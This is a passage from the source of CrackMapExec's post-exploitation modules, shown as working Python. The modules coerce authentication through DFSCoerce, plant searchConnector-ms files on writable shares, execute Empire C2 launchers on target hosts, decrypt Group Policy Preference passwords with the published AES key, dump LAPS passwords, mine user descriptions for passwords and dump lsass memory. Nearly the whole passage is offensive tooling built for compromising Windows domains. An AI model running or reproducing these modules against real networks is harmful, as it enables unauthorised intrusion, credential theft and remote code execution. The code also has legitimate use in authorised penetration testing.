| sys.exit() 70 | 71 | with driver.session() as session: 72 | with session.begin_transaction() as tx: 73 | result = tx.run( 74 | "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn)) 75 | if len(result.value()) > 0: 76 | context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn)) 77 | else: 78 | context.log.error( 79 | "Node {} does not appear to be in Neo4J database. Have you imported correct data?".format(host_fqdn)) 80 | driver.close() -------------------------------------------------------------------------------- /cme/modules/dfscoerce.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from impacket import system_errors 3 | from impacket.dcerpc.v5 import transport 4 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT 5 | from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD 6 | from impacket.dcerpc.v5.rpcrt import DCERPCException 7 | from impacket.uuid import uuidtup_to_bin 8 | 9 | class CMEModule: 10 | 11 | name = 'dfscoerce' 12 | description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam" 13 | supported_protocols = ['smb'] 14 | opsec_safe = True 15 | multiple_hosts = True 16 | 17 | def options(self, context, module_options): 18 | self.listener = "127.0.0.1" 19 | if 'LISTENER' in module_options: 20 | self.listener = module_options['LISTENER'] 21 | 22 | def on_login(self, context, connection): 23 | trigger = TriggerAuth() 24 | dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host) 25 | 26 | if dce is not None: 27 | logging.debug("Target is vulnerable to DFSCoerce") 28 | trigger.NetrDfsRemoveStdRoot(dce, self.listener) 29 | context.log.highlight("VULNERABLE") 30 | context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce") 31 | dce.disconnect() 32 | 33 | else: 34 | logging.debug("Target is not vulnerable to DFSCoerce") 35 | 36 | class DCERPCSessionError(DCERPCException): 37 | def __init__(self, error_string=None, error_code=None, packet=None): 38 | DCERPCException.__init__(self, error_string, error_code, packet) 39 | 40 | def __str__(self): 41 | key = self.error_code 42 | if key in system_errors.ERROR_MESSAGES: 43 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 44 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 45 | return 'DFSNM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 46 | else: 47 | return 'DFSNM SessionError: unknown error code: 0x%x' % self.error_code 48 | 49 | ################################################################################ 50 | # RPC CALLS 51 | ################################################################################ 52 | class NetrDfsRemoveStdRoot(NDRCALL): 53 | opnum = 13 54 | structure = ( 55 | ('ServerName', WSTR), 56 | ('RootShare', WSTR), 57 | ('ApiFlags', DWORD), 58 | ) 59 | 60 | class NetrDfsRemoveStdRootResponse(NDRCALL): 61 | structure = ( 62 | ('ErrorCode', ULONG), 63 | ) 64 | class NetrDfsAddRoot(NDRCALL): 65 | opnum = 12 66 | structure = ( 67 | ('ServerName',WSTR), 68 | ('RootShare',WSTR), 69 | ('Comment',WSTR), 70 | ('ApiFlags',DWORD), 71 | ) 72 | class NetrDfsAddRootResponse(NDRCALL): 73 | structure = ( 74 | ('ErrorCode', ULONG), 75 | ) 76 | 77 | class TriggerAuth(): 78 | def connect(self, username, password, domain, lmhash, nthash, target): 79 | rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netdfs]' % target) 80 | if hasattr(rpctransport, 'set_credentials'): 81 | rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) 82 | 83 | #if doKerberos: 84 | # rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) 85 | #if target: 86 | # rpctransport.setRemoteHost(target) 87 | 88 | rpctransport.setRemoteHost(target) 89 | dce = rpctransport.get_dce_rpc() 90 | logging.debug("[-] Connecting to %s" % r'ncacn_np:%s[\PIPE\netdfs]' % target) 91 | try: 92 | dce.connect() 93 | except Exception as e: 94 | logging.debug("Something went wrong, check error status => %s" % str(e)) 95 | return 96 | try: 97 | dce.bind(uuidtup_to_bin(('4FC742E0-4A10-11CF-8273-00AA004AE673', '3.0'))) 98 | except Exception as e: 99 | logging.debug("Something went wrong, check error status => %s" % str(e)) 100 | return 101 | logging.debug("[+] Successfully bound!") 102 | return dce 103 | 104 | def NetrDfsRemoveStdRoot(self, dce, listener): 105 | logging.debug("[-] Sending NetrDfsRemoveStdRoot!") 106 | try: 107 | request = NetrDfsRemoveStdRoot() 108 | request['ServerName'] = '%s\x00' % listener 109 | request['RootShare'] = 'test\x00' 110 | request['ApiFlags'] = 1 111 | if self.args.verbose: 112 | logging.debug(request.dump()) 113 | #logging.debug(request.dump()) 114 | resp = dce.request(request) 115 | 116 | except Exception as e: 117 | logging.debug(e) -------------------------------------------------------------------------------- /cme/modules/drop_searchConnector-ms.py: -------------------------------------------------------------------------------- 1 | import ntpath 2 | 3 | class CMEModule: 4 | ''' 5 | Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. 6 | https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ 7 | Module by @zblurx 8 | ''' 9 | 10 | name = 'drop-sc' 11 | description = 'Drop a searchConnector-ms file on each writable share' 12 | supported_protocols = ["smb"] 13 | opsec_safe= False 14 | multiple_hosts = True 15 | 16 | def options(self, context, module_options): 17 | ''' 18 | Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. 19 | https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ 20 | Module by @zblurx 21 | URL URL in the searchConnector-ms file, default https://rickroll 22 | CLEANUP Cleanup (choices: True or False) 23 | SHARE Specify a share to target 24 | FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents" 25 | ''' 26 | self.cleanup = False 27 | if 'CLEANUP' in module_options: 28 | self.cleanup = bool(module_options['CLEANUP']) 29 | 30 | self.url = 'https://rickroll' 31 | if 'URL' in module_options: 32 | self.url = str(module_options['URL']) 33 | 34 | self.sharename = '' 35 | if 'SHARE' in module_options: 36 | self.sharename = str(module_options['SHARE']) 37 | 38 | self.filename = 'Documents' 39 | if 'FILENAME' in module_options: 40 | self.filename = str(module_options['FILENAME']) 41 | 42 | self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename)) 43 | if not self.cleanup: 44 | self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename) 45 | scfile = open(self.scfile_path, 'w') 46 | scfile.truncate(0) 47 | scfile.write('') 48 | scfile.write('') 49 | scfile.write('Microsoft Outlook') 50 | scfile.write('false') 51 | scfile.write('true') 52 | scfile.write('{}/0001.ico'.format(self.url)) 53 | scfile.write('') 54 | scfile.write('{91475FE5-586B-4EBA-8D75-D17434B8CDF6}') 55 | scfile.write('') 56 | scfile.write('') 57 | scfile.write('{}'.format(self.url)) 58 | scfile.write('') 59 | scfile.write('') 60 | scfile.close() 61 | 62 | def on_login(self, context, connection): 63 | shares = connection.shares() 64 | for share in shares: 65 | if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']): 66 | context.log.success('Found writable share: {}'.format(share['name'])) 67 | if not self.cleanup: 68 | with open(self.scfile_path, 'rb') as scfile: 69 | try: 70 | connection.conn.putFile(share['name'], self.file_path, scfile.read) 71 | context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) 72 | except Exception as e: 73 | context.log.error('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e)) 74 | else: 75 | try: 76 | connection.conn.deleteFile(share['name'], self.file_path) 77 | context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) 78 | except Exception as e: 79 | context.log.error('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e)) 80 | 81 | -------------------------------------------------------------------------------- /cme/modules/empire_exec.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import requests 3 | from requests import ConnectionError 4 | 5 | #The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message 6 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | class CMEModule: 10 | ''' 11 | Uses Empire's RESTful API to generate a launcher for the specified listener and executes it 12 | Module by @byt3bl33d3r 13 | ''' 14 | 15 | name='empire_exec' 16 | description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it" 17 | supported_protocols = ['smb', 'mssql'] 18 | opsec_safe = True 19 | multiple_hosts = True 20 | 21 | def options(self, context, module_options): 22 | ''' 23 | LISTENER Listener name to generate the launcher for 24 | ''' 25 | 26 | if not 'LISTENER' in module_options: 27 | context.log.error('LISTENER option is required!') 28 | sys.exit(1) 29 | 30 | self.empire_launcher = None 31 | 32 | headers = {'Content-Type': 'application/json'} 33 | #Pull the host and port from the config file 34 | base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port')) 35 | 36 | try: 37 | #Pull the username and password from the config file 38 | payload = {'username': context.conf.get('Empire', 'username'), 39 | 'password': context.conf.get('Empire', 'password')} 40 | 41 | r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False) 42 | if r.status_code == 200: 43 | token = r.json()['token'] 44 | else: 45 | context.log.error("Error authenticating to Empire's RESTful API server!") 46 | sys.exit(1) 47 | 48 | payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']} 49 | r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False) 50 | 51 | response = r.json() 52 | if "error" in response: 53 | context.log.error("Error from empire : {}".format(response["error"])) 54 | sys.exit(1) 55 | 56 | self.empire_launcher = response['multi/launcher']['Output'] 57 | 58 | context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER'])) 59 | 60 | except ConnectionError as e: 61 | context.log.error("Unable to connect to Empire's RESTful API: {}".format(e)) 62 | sys.exit(1) 63 | 64 | def on_admin_login(self, context, connection): 65 | if self.empire_launcher: 66 | connection.execute(self.empire_launcher) 67 | context.log.success('Executed Empire Launcher') 68 | -------------------------------------------------------------------------------- /cme/modules/enum_avproducts.py: -------------------------------------------------------------------------------- 1 | class CMEModule: 2 | ''' 3 | Uses WMI to gather information on all endpoint protection solutions installed on the the remote host(s) 4 | Module by @byt3bl33d3r 5 | 6 | ''' 7 | 8 | name = 'enum_avproducts' 9 | description = 'Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI' 10 | supported_protocols = ['smb'] 11 | opsec_safe= True 12 | multiple_hosts = True 13 | 14 | def options(self, context, module_options): 15 | pass 16 | 17 | def on_admin_login(self, context, connection): 18 | output = connection.wmi('Select * From AntiSpywareProduct', 'root\\SecurityCenter2') 19 | if output: 20 | context.log.success('Found Anti-Spyware product:') 21 | for entry in output: 22 | for k,v in entry.items(): 23 | context.log.highlight('{} => {}'.format(k,v['value'])) 24 | 25 | output = connection.wmi('Select * from AntiVirusProduct', 'root\\SecurityCenter2') 26 | if output: 27 | context.log.success('Found Anti-Virus product:') 28 | for entry in output: 29 | for k,v in entry.items(): 30 | context.log.highlight('{} => {}'.format(k,v['value'])) -------------------------------------------------------------------------------- /cme/modules/enum_dns.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | from cme.helpers.logger import write_log 3 | 4 | class CMEModule: 5 | ''' 6 | Uses WMI to dump DNS from an AD DNS Server. 7 | Module by @fang0654 8 | 9 | ''' 10 | 11 | name = 'enum_dns' 12 | description = 'Uses WMI to dump DNS from an AD DNS Server' 13 | supported_protocols = ['smb'] 14 | opsec_safe= True 15 | multiple_hosts = True 16 | 17 | def options(self, context, module_options): 18 | ''' 19 | DOMAIN Domain to enumerate DNS for. Defaults to all zones. 20 | ''' 21 | self.domains = None 22 | if module_options and 'DOMAIN' in module_options: 23 | self.domains = module_options['DOMAIN'] 24 | 25 | def on_admin_login(self, context, connection): 26 | 27 | if not self.domains: 28 | domains = [] 29 | output = connection.wmi('Select Name FROM MicrosoftDNS_Zone', 'root\\microsoftdns') 30 | 31 | if output: 32 | for result in output: 33 | domains.append(result['Name']['value']) 34 | 35 | context.log.success('Domains retrieved: {}'.format(domains)) 36 | else: 37 | domains = [self.domains] 38 | data = "" 39 | for domain in domains: 40 | output = connection.wmi('Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = "{}"'.format(domain), 'root\\microsoftdns') 41 | 42 | if output: 43 | domain_data = {} 44 | context.log.highlight("Results for {}".format(domain)) 45 | data += "Results for {}\n".format(domain) 46 | for entry in output: 47 | text = entry['TextRepresentation']['value'] 48 | rname = text.split(' ')[0] 49 | rtype = text.split(' ')[2] 50 | rvalue = ' '.join(text.split(' ')[3:]) 51 | if domain_data.get(rtype, False): 52 | domain_data[rtype].append("{}: {}".format(rname, rvalue)) 53 | else: 54 | domain_data[rtype] = ["{}: {}".format(rname, rvalue)] 55 | 56 | for k, v in sorted(domain_data.items()): 57 | context.log.highlight("Record Type: {}".format(k)) 58 | data += "Record Type: {}\n".format(k) 59 | for d in sorted(v): 60 | context.log.highlight("\t"+d) 61 | data += "\t" + d + "\n" 62 | 63 | log_name = 'DNS-Enum-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 64 | write_log(data, log_name) 65 | context.log.info("Saved raw output to {}".format(log_name)) 66 | 67 | -------------------------------------------------------------------------------- /cme/modules/example_module.py: -------------------------------------------------------------------------------- 1 | class CMEModule: 2 | ''' 3 | Example 4 | Module by @yomama 5 | 6 | ''' 7 | name = 'example module' 8 | description = 'I do something' 9 | supported_protocols = [] 10 | opsec_safe= True #Does the module touch disk? 11 | multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time? 12 | 13 | def options(self, context, module_options): 14 | '''Required. Module options get parsed here. Additionally, put the modules usage here as well''' 15 | pass 16 | 17 | def on_login(self, context, connection): 18 | '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection''' 19 | pass 20 | 21 | def on_admin_login(self, context, connection): 22 | '''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges''' 23 | pass 24 | 25 | def on_request(self, context, request): 26 | '''Optional. If the payload needs to retrieve additonal files, add this function to the module''' 27 | pass 28 | 29 | def on_response(self, context, response): 30 | '''Optional. If the payload sends back its output to our server, add this function to the module to handle its output''' 31 | pass 32 | 33 | def on_shutdown(self, context, connection): 34 | '''Optional. Do something on shutdown''' 35 | pass 36 | -------------------------------------------------------------------------------- /cme/modules/get_description.py: -------------------------------------------------------------------------------- 1 | from impacket.ldap import ldapasn1 as ldapasn1_impacket 2 | from impacket.ldap import ldap as ldap_impacket 3 | import re 4 | 5 | class CMEModule: 6 | ''' 7 | Get description of users 8 | Module by @nodauf 9 | ''' 10 | name = 'get-desc-users' 11 | description = 'Get description of the users. May contained password' 12 | supported_protocols = ['ldap'] 13 | opsec_safe= True #Does the module touch disk? 14 | multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time? 15 | 16 | def options(self, context, module_options): 17 | ''' 18 | FILTER Apply the FILTER (grep-like) (default: '') 19 | PASSWORDPOLICY Is the windows password policy enabled ? (default: False) 20 | MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6) 21 | ''' 22 | self.FILTER = '' 23 | self.MINLENGTH = '6' 24 | self.PASSWORDPOLICY = False 25 | if 'FILTER' in module_options: 26 | self.FILTER = module_options['FILTER'] 27 | if 'MINLENGTH' in module_options: 28 | self.MINLENGTH = module_options['MINLENGTH'] 29 | if 'PASSWORDPOLICY' in module_options: 30 | self.PASSWORDPOLICY = True 31 | self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{"+self.MINLENGTH+",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following 32 | 33 | def on_login(self, context, connection): 34 | '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection''' 35 | # Building the search filter 36 | searchFilter = "(objectclass=user)" 37 | 38 | try: 39 | context.log.debug('Search Filter=%s' % searchFilter) 40 | resp = connection.ldapConnection.search(searchFilter=searchFilter, 41 | attributes=['sAMAccountName','description'], 42 | sizeLimit=0) 43 | except ldap_impacket.LDAPSearchError as e: 44 | if e.getErrorString().find('sizeLimitExceeded') >= 0: 45 | context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received') 46 | # We reached the sizeLimit, process the answers we have already and that's it. Until we implement 47 | # paged queries 48 | resp = e.getAnswers() 49 | pass 50 | else: 51 | logging.debug(e) 52 | return False 53 | 54 | answers = [] 55 | context.log.debug('Total of records returned %d' % len(resp)) 56 | for item in resp: 57 | if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: 58 | continue 59 | sAMAccountName = '' 60 | description = '' 61 | try: 62 | for attribute in item['attributes']: 63 | if str(attribute['type']) == 'sAMAccountName': 64 | sAMAccountName = str(attribute['vals'][0]) 65 | elif str(attribute['type']) == 'description': 66 | description = attribute['vals'][0] 67 | if sAMAccountName != '' and description != '': 68 | answers.append([sAMAccountName,description]) 69 | except Exception as e: 70 | context.log.debug("Exception:", exc_info=True) 71 | context.log.debug('Skipping item, cannot process due to error %s' % str(e)) 72 | pass 73 | answers = self.filter_answer(context, answers) 74 | if len(answers) > 0: 75 | context.log.success('Found following users: ') 76 | for answer in answers: 77 | context.log.highlight(u'User: {} description: {}'.format(answer[0],answer[1])) 78 | 79 | def filter_answer(self, context, answers): 80 | # No option to filter 81 | if self.FILTER == '' and not self.PASSWORDPOLICY: 82 | context.log.debug("No filter option enabled") 83 | return answers 84 | answersFiltered = [] 85 | context.log.debug("Prepare to filter") 86 | if len(answers) > 0: 87 | for answer in answers: 88 | conditionFilter = False 89 | description = str(answer[1]) 90 | # Filter 91 | if self.FILTER != '': 92 | conditionFilter = False 93 | if self.FILTER in description: 94 | conditionFilter = True 95 | 96 | # Password policy 97 | if self.PASSWORDPOLICY: 98 | conditionPasswordPolicy = False 99 | if self.regex.search(description): 100 | conditionPasswordPolicy = True 101 | 102 | if (self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy): 103 | answersFiltered.append([answer[0],description]) 104 | elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy: 105 | answersFiltered.append([answer[0],description]) 106 | elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter: 107 | answersFiltered.append([answer[0],description]) 108 | return answersFiltered 109 | -------------------------------------------------------------------------------- /cme/modules/get_netconnections.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | from cme.helpers.logger import write_log 3 | import json 4 | 5 | class CMEModule: 6 | ''' 7 | Uses WMI to extract network connections, used to find multi-homed hosts. 8 | Module by @fang0654 9 | 10 | ''' 11 | 12 | name = 'get_netconnections' 13 | description = 'Uses WMI to query network connections.' 14 | supported_protocols = ['smb'] 15 | opsec_safe= True 16 | multiple_hosts = True 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | No options 21 | ''' 22 | pass 23 | 24 | def on_admin_login(self, context, connection): 25 | 26 | data = [] 27 | cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration") 28 | for c in cards: 29 | if c['IPAddress'].get('value'): 30 | context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}") 31 | 32 | data.append(cards) 33 | 34 | log_name = 'network-connections-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 35 | write_log(json.dumps(data), log_name) 36 | context.log.info("Saved raw output to {}".format(log_name)) 37 | 38 | -------------------------------------------------------------------------------- /cme/modules/gpp_autologin.py: -------------------------------------------------------------------------------- 1 | import xml.etree.ElementTree as ET 2 | from io import BytesIO 3 | 4 | class CMEModule: 5 | ''' 6 | Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1 7 | Module by @byt3bl33d3r 8 | ''' 9 | 10 | name = 'gpp_autologin' 11 | description = 'Searches the domain controller for registry.xml to find autologon information and returns the username and password.' 12 | supported_protocols = ['smb'] 13 | opsec_safe = True 14 | multiple_hosts = True 15 | 16 | def options(self, context, module_options): 17 | ''' 18 | ''' 19 | 20 | def on_login(self, context, connection): 21 | shares = connection.shares() 22 | for share in shares: 23 | if share['name'] == 'SYSVOL' and 'READ' in share['access']: 24 | 25 | context.log.success('Found SYSVOL share') 26 | context.log.info('Searching for Registry.xml') 27 | 28 | paths = connection.spider('SYSVOL', pattern=['Registry.xml']) 29 | 30 | for path in paths: 31 | context.log.info('Found {}'.format(path)) 32 | 33 | buf = BytesIO() 34 | connection.conn.getFile('SYSVOL', path, buf.write) 35 | xml = ET.fromstring(buf.getvalue()) 36 | 37 | if xml.findall('.//Properties[@name="DefaultPassword"]'): 38 | usernames = [] 39 | passwords = [] 40 | domains = [] 41 | 42 | xml_section = xml.findall(".//Properties") 43 | 44 | for section in xml_section: 45 | attrs = section.attrib 46 | 47 | if attrs['name'] == 'DefaultPassword': 48 | passwords.append(attrs['value']) 49 | 50 | if attrs['name'] == 'DefaultUserName': 51 | usernames.append(attrs['value']) 52 | 53 | if attrs['name'] == 'DefaultDomainName': 54 | domains.append(attrs['value']) 55 | 56 | if usernames or passwords: 57 | context.log.success('Found credentials in {}'.format(path)) 58 | context.log.highlight('Usernames: {}'.format(usernames)) 59 | context.log.highlight('Domains: {}'.format(domains)) 60 | context.log.highlight('Passwords: {}'.format(passwords)) -------------------------------------------------------------------------------- /cme/modules/gpp_password.py: -------------------------------------------------------------------------------- 1 | import xml.etree.ElementTree as ET 2 | from Cryptodome.Cipher import AES 3 | from base64 import b64decode 4 | from binascii import unhexlify 5 | from io import BytesIO 6 | 7 | class CMEModule: 8 | ''' 9 | Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 10 | Module by @byt3bl33d3r 11 | ''' 12 | 13 | name = 'gpp_password' 14 | description = 'Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.' 15 | supported_protocols = ['smb'] 16 | opsec_safe = True 17 | multiple_hosts = True 18 | 19 | def options(self, context, module_options): 20 | ''' 21 | ''' 22 | 23 | def on_login(self, context, connection): 24 | shares = connection.shares() 25 | for share in shares: 26 | if share['name'] == 'SYSVOL' and 'READ' in share['access']: 27 | 28 | context.log.success('Found SYSVOL share') 29 | context.log.info('Searching for potential XML files containing passwords') 30 | 31 | paths = connection.spider('SYSVOL', pattern=['Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml']) 32 | 33 | for path in paths: 34 | context.log.info('Found {}'.format(path)) 35 | 36 | buf = BytesIO() 37 | connection.conn.getFile('SYSVOL', path, buf.write) 38 | xml = ET.fromstring(buf.getvalue()) 39 | sections = [] 40 | 41 | if 'Groups.xml' in path: 42 | sections.append('./User/Properties') 43 | 44 | elif 'Services.xml' in path: 45 | sections.append('./NTService/Properties') 46 | 47 | elif 'ScheduledTasks.xml' in path: 48 | sections.append('./Task/Properties') 49 | sections.append('./ImmediateTask/Properties') 50 | sections.append('./ImmediateTaskV2/Properties') 51 | sections.append('./TaskV2/Properties') 52 | 53 | elif 'DataSources.xml' in path: 54 | sections.append('./DataSource/Properties') 55 | 56 | elif 'Printers.xml' in path: 57 | sections.append('./SharedPrinter/Properties') 58 | 59 | elif 'Drives.xml' in path: 60 | sections.append('./Drive/Properties') 61 | 62 | 63 | for section in sections: 64 | xml_section = xml.findall(section) 65 | for attr in xml_section: 66 | props = attr.attrib 67 | 68 | if 'cpassword' in props: 69 | for user_tag in ['userName', 'accountName', 'runAs', 'username']: 70 | if user_tag in props: 71 | username = props[user_tag] 72 | 73 | password = self.decrypt_cpassword(props['cpassword']) 74 | 75 | context.log.success('Found credentials in {}'.format(path)) 76 | context.log.highlight('Password: {}'.format(password)) 77 | for k,v in props.items(): 78 | if k != 'cpassword': 79 | context.log.highlight('{}: {}'.format(k, v)) 80 | 81 | hostid = context.db.get_computers(connection.host)[0][0] 82 | context.db.add_credential('plaintext', '', username, password, pillaged_from=hostid) 83 | 84 | def decrypt_cpassword(self, cpassword): 85 | 86 | #Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385 87 | 88 | # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 89 | key = unhexlify('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b') 90 | cpassword += "=" * ((4 - len(cpassword) % 4) % 4) 91 | password = b64decode(cpassword) 92 | IV = "\x00" * 16 93 | decypted = AES.new(key, AES.MODE_CBC, IV.encode("utf8")).decrypt(password) 94 | return decypted.decode().rstrip() 95 | -------------------------------------------------------------------------------- /cme/modules/laps.py: -------------------------------------------------------------------------------- 1 | from impacket.ldap import ldapasn1 as ldapasn1_impacket 2 | 3 | 4 | class CMEModule: 5 | ''' 6 | Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer) 7 | 8 | Initial module: 9 | @T3KX: https://github.com/T3KX/Crackmapexec-LAPS 10 | 11 | Credit: @n00py1 12 | Reference: https://www.n00py.io/2020/12/dumping-laps-passwords-from-linux/ 13 | https://github.com/n00py/LAPSDumper 14 | ''' 15 | 16 | name = 'laps' 17 | description = 'Retrieves the LAPS passwords' 18 | supported_protocols = ['ldap'] 19 | opsec_safe = True 20 | multiple_hosts = False 21 | 22 | def options(self, context, module_options): 23 | """ 24 | COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: * 25 | """ 26 | 27 | self.computer = None 28 | if 'COMPUTER' in module_options: 29 | self.computer = module_options['COMPUTER'] 30 | 31 | def on_login(self, context, connection): 32 | context.log.info('Getting LAPS Passwords') 33 | if self.computer is not None: 34 | searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.computer + '))' 35 | else: 36 | searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*))' 37 | attributes = ['ms-MCS-AdmPwd', 'sAMAccountName'] 38 | results = connection.search(searchFilter, attributes, 10000) 39 | results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] 40 | 41 | laps_computers = [] 42 | for computer in results: 43 | msMCSAdmPwd = '' 44 | sAMAccountName = '' 45 | values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in computer['attributes']} 46 | laps_computers.append((values['samaccountname'], values['ms-mcs-admpwd'])) 47 | 48 | laps_computers = sorted(laps_computers, key=lambda x: x[0]) 49 | for sAMAccountName, msMCSAdmPwd in laps_computers: 50 | context.log.highlight("Computer: {:<20} Password: {}".format(sAMAccountName, msMCSAdmPwd)) 51 | -------------------------------------------------------------------------------- /cme/modules/ldap-signing.py: -------------------------------------------------------------------------------- 1 | from impacket.ldap import ldap 2 | 3 | class CMEModule: 4 | ''' 5 | Checks whether LDAP signing is required. 6 | 7 | Module by Tobias Neitzel (@qtc_de) 8 | ''' 9 | name = 'ldap-signing' 10 | description = 'Check whether LDAP signing is required' 11 | supported_protocols = ['ldap'] 12 | opsec_safe= True 13 | multiple_hosts = True 14 | 15 | def options(self, context, module_options): 16 | ''' 17 | No options available. 18 | ''' 19 | pass 20 | 21 | def on_login(self, context, connection): 22 | ''' 23 | Perform a second logon attempt without LDAP signing. 24 | ''' 25 | domain = connection.domain 26 | username = connection.username 27 | password = connection.password 28 | ldap_host = connection.conn.getRemoteHost() 29 | 30 | try: 31 | connection = ldap.LDAPConnection('ldap://{}'.format(ldap_host)) 32 | connection.login(username, password, domain, '', '') 33 | context.log.highlight('LDAP signing is NOT enforced on {}'.format(ldap_host)) 34 | 35 | except ldap.LDAPSessionError as e: 36 | 37 | error_msg = str(e) 38 | 39 | if 'strongerAuthRequired' in error_msg: 40 | context.log.info('LDAP signing is enforced on {}'.format(ldap_host)) 41 | 42 | else: 43 | context.log.error("Unexpected LDAP error: '{}'".format(error_msg)) 44 | 45 | except Exception as e: 46 | context.log.error("Unexpected LDAP error: '{}'".format(str(e))) 47 | -------------------------------------------------------------------------------- /cme/modules/lsassy_dump.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com [FR] 5 | # https://en.hackndo.com [EN] 6 | 7 | 8 | from lsassy import logger 9 | from lsassy.dumper import Dumper 10 | from lsassy.parser import Parser 11 | from lsassy.session import Session 12 | from lsassy.impacketfile import ImpacketFile 13 | from cme.helpers.bloodhound import add_user_bh 14 | 15 | class CMEModule: 16 | name = 'lsassy' 17 | description = "Dump lsass and parse the result remotely with lsassy" 18 | supported_protocols = ['smb'] 19 | opsec_safe = True 20 | multiple_hosts = True 21 | 22 | def options(self, context, module_options): 23 | """ 24 | METHOD Method to use to dump lsass.exe with lsassy 25 | """ 26 | self.method = 'comsvcs' 27 | if 'METHOD' in module_options: 28 | self.method = module_options['METHOD'] 29 | 30 | def on_admin_login(self, context, connection): 31 | logger.init(quiet=True) 32 | host = connection.host 33 | domain_name = connection.domain 34 | username = connection.username 35 | password = getattr(connection, "password", "") 36 | lmhash = getattr(connection, "lmhash", "") 37 | nthash = getattr(connection, "nthash", "") 38 | 39 | session = Session() 40 | session.get_session( 41 | address=host, 42 | target_ip=host, 43 | port=445, 44 | lmhash=lmhash, 45 | nthash=nthash, 46 | username=username, 